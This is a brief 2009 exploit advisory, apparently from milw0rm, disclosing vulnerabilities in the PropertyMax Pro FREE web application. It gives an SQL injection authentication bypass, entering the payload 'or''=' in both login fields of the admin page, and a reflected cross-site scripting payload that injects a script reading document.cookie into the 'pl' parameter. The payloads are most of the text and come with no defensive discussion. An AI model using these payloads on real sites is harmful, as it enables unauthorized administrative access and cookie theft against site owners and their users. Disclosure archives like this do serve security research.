27 lines
No EOL
697 B
Text
27 lines
No EOL
697 B
Text
########################################################################
|
|
[+] PropertyMax Pro FREE (SQL/XSS) Multiple Remote Vulnerabilities
|
|
[+] Discovered By SirGod
|
|
[+] www.mortal-team.org
|
|
[+] www.h4cky0u.org
|
|
#########################################################################
|
|
|
|
[+] SQL Injection ( Auth Bypass)
|
|
|
|
Conditions : magic_quotes_gpc = off
|
|
|
|
Go to :
|
|
|
|
http://127.0.0.1/path/admin
|
|
|
|
Login as :
|
|
|
|
Username : 'or''='
|
|
Password : 'or''='
|
|
|
|
[+] Cross-Site Scripting
|
|
|
|
http://127.0.0.1/path/?op=mi&id=2&pl="><script>alert(document.cookie)</script>
|
|
|
|
#########################################################################
|
|
|
|
# milw0rm.com [2009-06-02] |